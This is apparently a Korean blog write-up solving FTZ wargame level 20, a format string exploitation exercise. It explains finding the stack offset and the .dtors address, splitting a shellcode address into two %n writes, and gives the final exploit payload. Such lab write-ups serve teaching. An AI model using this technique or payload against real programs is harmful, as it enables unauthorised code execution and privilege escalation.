write-up/pwnable

[ftz] level 20: we are just regular guys

여니두 2019. 8. 27.

20_포맷스트링 복습

 

√ 문제 분석

- 80byte 문자 배열 선언

- clear 계정 권한 부여

- 키보드 입력의 79byte만 bleh 배열에 저장

: 입력값에 대한 경계 검사를 하고 있어서 BOF로 main() 스택프레임의 RET을 덮어쓸 수 없음.

 

- 입력받은 값 출력됨

 

bleh[80]
dummy[8]
SFP
RET

입력값 경계 검사를 하고 있으므로, BOF가 아닌 포맷스트링 취약점을 이용해 공격해보자.

- 포맷스트링 버그가 있음을 확인

 

1. 입력값이 stack에서 얼만큼 떨어져 있나?

- 네번째에 입력 문자열이 표시되는 것을 확인

 

2. 덮어써야 할 .dtor의 주소 확인

- nm 프로그램으로는 메모리에 올라온 심볼들이 보이지 않음

: 심볼 분석이 되지 않도록 컴파일하면 바이너리들의 정보를 이렇게 숨겨 리버싱하지 못하게 할 수 있다.

 

>> objdump 이용

- 4byte만큼 떨어진 주소인 __DTOR_END__ 심볼을 덮어야 함

: 0x08049598

 

 

√ 공격

printf("AAAA%08x.%08x.%08x.%08x")
0x0000004f
0x4212ecc0
0x4207a750
bleh[80]
dummy[8]
SFP
RET

- 맨 위: %x를 입력해서 메모리값을 출력하는 방법

printf() 안의 문자열은 bleh[] 배열에 들어가게 된다.

 

- printf(bleh[]) 함수 호출이 처리되는 순간 %08x를 세번 만나게 된다.

한 번 만날 때마다 4byte 앞의 메모리에 있는 값을 출력

위의 스택 순서로 메모리 값이 출력되는 것!

* printf("AAAA%08x.%08x.%08x.%08x")가 포맷스트링이 있는 부분

: 포맷스트링(*fmt_string)

 

** 포맷스트링 공격 핵심 원리

: %n 형식 지정자를 이용해 우리가 원하는 주소에 실행하고 싶은 셸코드의 주소를 덮어쓰는 것

 

 

* 페이로드

(printf "낮은주소낮은주소높은주소높은주소")%8x%8x%8x%낮은셸코드주소c%n%높은셸코드주소c%n

(printf "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08")%8x%8x%8x~~c%n%~~c%n

 

** 셸코드의 주소를 10진수로 바꾸어 넣어야 한다.

 

 

getenv.c

환경변수 주소: 0xbffffb78

 

** 셸코드의 주소를 10진수로 변환

- %c라는 서식문자가 포함되어 있기 때문에, stack의 4byte를 출력하게 된다.

- 일반 x86 시스템에선 정수를 이용하여 0xffffffff만큼의 크기를 지정할 수 없다.
>> 쉘코드의 주소를 2byte씩 나누어서 입력!


0xbffffb78 = bfff / fb78로 나누어 각각 10진수로 바꾸기
RET=08049598, 98 부분에 2byte인 fab8 입력, 2byte 증가해서 9a부분에 나머지 입력

+ 리틀 엔디안 방식이므로, 낮은 자리수를 먼저 입력

- 쉘코드를 10진수로 바꾸면

1) 64376, 2) 49151
%n은 자신이 나오기 전까지의 모든 자릿수를 계산


1) AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x에 대한 자릿수까지 계산한다.
따라서 위 자릿수(4+4+4+4+8 * 3) = 40이므로, 40을 빼야 한다.

64376 - 40 = 64336


2) 에서도 AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64336c%n에 대한 자릿수까지 계산한다.
이에 대한 자릿수는 64336이므로 이를 빼줘야 한다.

>> 49151에서 64376을 빼면 음수가 되므로, bfff 앞에 1을 붙여 1bfff를 10진수로 변환한 값(114687)에서 빼주자.

114687 - 64376 = 50311

 

 

>> 최종 페이로드

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64336c%n%50311c%n

 

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

드디어 ftz의 모든 level을 clear했다!!!!!

'write-up > pwnable' 카테고리의 다른 글

[LOB] LOB TIP  (0) 2019.09.15
[LOB] level 1: gate  (0) 2019.09.14
[ftz] level 19: swimming in pink  (0) 2019.08.27
[ftz] level 18: why did you do it  (0) 2019.08.27
[ftz] level 17: king poetic  (0) 2019.08.26

댓글